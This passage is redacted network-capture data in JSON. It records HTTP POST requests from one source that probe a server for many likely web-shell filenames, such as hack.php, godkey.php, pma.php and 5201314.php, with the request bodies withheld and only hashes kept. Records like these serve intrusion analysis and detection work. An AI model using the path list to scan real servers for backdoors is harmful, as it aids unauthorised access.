          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256067.290262000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/confg.php",
            "http.response_in": "1524",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/confg.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2f9058e2e50c0695ef2b19bb",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "899fb23b6ce90e858f422f0ccfcb3e416d5cb322be3a4957795eca799e31a570",
          "frame_number": 1523,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577256067.548737000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/conf1g.php",
            "http.response_in": "1527",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/conf1g.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7f2f16fd4adcd306f6b5af36",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "899fb23b6ce90e858f422f0ccfcb3e416d5cb322be3a4957795eca799e31a570",
          "frame_number": 1526,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577256067.806986000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/confg.php",
            "http.response_in": "1530",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/confg.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c5e8a3aa22301d84cc8fe7bf",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "d5ed840ae489ce44a548368ee4509159861b1ea9cd7b4f25757b4e48034c6e26",
          "frame_number": 1529,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256068.763766000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/confg.php",
            "http.response_in": "1533",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/confg.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-01917b7fd3f3f123a1058bd9",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "78cb8cbc04e24c367d460b271f8ebb2fa8084e327c8101a69a7d0df4b5634c48",
          "frame_number": 1532,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256069.022534000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/confg.php",
            "http.response_in": "1536",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/confg.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ddc46e11d7e6019de8b2884e",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 1535,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577256069.857723000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ver.php",
            "http.response_in": "1539",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ver.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-06e253dbdcc484298f87c4eb",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1538,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256070.143681000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hack.php",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hack.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ead829860082461474b7ffd0",
          "src_port": 51050,
          "tcp_stream": 51,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1543,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256075.350598000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hack.php",
            "http.response_in": "1553",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hack.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5f74b996b41a01fdf498f83a",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc",
          "frame_number": 1551,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256077.796477000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/hack.php",
            "http.response_in": "1557",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/hack.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7ff24ff191e6498cea01940a",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "6e6144a1e8ea91916a7ee8d31572c4f718d3339999343368718edbcf7d600e80",
          "frame_number": 1555,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256078.842540000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/qa.php",
            "http.response_in": "1560",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/qa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a760d041b7831ad7a37229dc",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89",
          "frame_number": 1559,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577256079.157832000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/Ss.php",
            "http.response_in": "1563",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/Ss.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-2f43790692bfc6194b5497c2",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "a5a5dccf0a857e1b590c708f686a5ec586d90dd6b22296d826ae544f99e61125",
          "frame_number": 1562,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256081.604561000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/xxx.php",
            "http.response_in": "1566",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/xxx.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-458659107db2ea9e1cb1b0a6",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "1bf39d5a226560a2d8e011f57beec18a8c3599eee7b8eb95b5a9654e130d7e68",
          "frame_number": 1565,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256081.871209000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/92.php",
            "http.response_in": "1569",
            "http.content_length": "20",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/92.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a8f21898c10228690e21cdc0",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "2a88a2d5883c65f59114dd74a75d1d734d0fdee531d3119ed5c8ecc1c11f42e8",
          "frame_number": 1568,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 20,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 20,
          "timestamp_epoch": "1577256082.138054000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/z.php",
            "http.response_in": "1572",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/z.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-7cef7b7c97953e9e2e0bd4fb",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 1571,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256082.406249000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/x.php",
            "http.response_in": "1575",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/x.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f101eb162a23207968fbf30d",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 1574,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256082.672575000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/dexgp.php",
            "http.response_in": "1578",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/dexgp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-201dfd4c5b0a96a4780cfa9a",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd",
          "frame_number": 1577,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256082.973545000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/nuoxi.php",
            "http.response_in": "1581",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/nuoxi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ea6c55097708179720d37a69",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "6d8c2fe47cd2be5738d9bd4e50456d2f743a4f5918031859ba2546cfece0d65c",
          "frame_number": 1580,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577256083.873098000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/godkey.php",
            "http.response_in": "1584",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/godkey.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6a4130fbbd43d6dc139a467f",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "c3e6f10a64140a912b9157eec7deacf0197307bb7503dc7247a75cb8d3693084",
          "frame_number": 1583,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256084.192484000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/okokok.php",
            "http.response_in": "1587",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/okokok.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9c0e9eb74e40bb0705a78a8d",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "c3e6f10a64140a912b9157eec7deacf0197307bb7503dc7247a75cb8d3693084",
          "frame_number": 1586,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256084.537106000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/erwa.php",
            "http.response_in": "1590",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/erwa.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6113e844e0e4838e440c24ab",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "520876bf35fe63f19fb5a2e95b0b1bb71e1a3594ac8da078de4c4a67a162facb",
          "frame_number": 1589,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577256084.839614000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/pma.php",
            "http.response_in": "1593",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/pma.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-05a9c56948cb4c570741b598",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "ca6d88dbd1c94ff8a71cdee9a85e4a256f45b2b46a97adbeaf650d252798c0cb",
          "frame_number": 1592,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256085.217532000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ruyi.php",
            "http.response_in": "1596",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ruyi.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-be8c8e003fae2cebd29c6d8b",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2",
          "frame_number": 1595,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256089.688554000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/51314.php",
            "http.response_in": "1599",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/51314.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6ebbcb063d9a260d556f27a4",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "f49f38b80f1b42ea04d040dfe84b546eab5046ff1cebc46220048e81331e77af",
          "frame_number": 1598,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256089.955049000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/5201314.php",
            "http.response_in": "1602",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/5201314.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-0f6ac0334e4224c872ac8aa2",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "b6b7f079dde177adfbdee65da6133faa2b7385c4c8f4127fea5730f7a6567314",
          "frame_number": 1601,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577256090.222355000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/fusheng.php",
            "http.response_in": "1605",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/fusheng.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8f2587b5cfa3d115a42f26f9",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "f61a99b580f6f7d5be6606cc9bfad8ef439a9d99502002ec26cbe10e9c1c4680",
          "frame_number": 1604,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577256091.989098000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/general.php",
            "http.response_in": "1608",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/general.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-3e381138649f4c6cdc6eae2c",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "900438cb86786337c0c7533823217981533629ea950a672198920fc20a4c89a7",
          "frame_number": 1607,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577256095.306165000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/repeat.php",
            "http.response_in": "1611",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/repeat.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-cefa6f366eda35caa8dbc81a",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "ab24a7d0f6d293a538d088347209b218985e62951711ec053d6df628ee3ea9ab",
          "frame_number": 1610,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577256095.609398000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/ldw.php",
            "http.response_in": "1614",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/ldw.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-88740ac309860ba32ca0dacc",
          "src_port": 52315,
          "tcp_stream": 52,
          "udp_stream": null,
          "body_sha256": "47aea2244a844301999c7261c840ccd94d4d2c8adad8642d8f59f897ffb34113",
          "frame_number": 1613,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
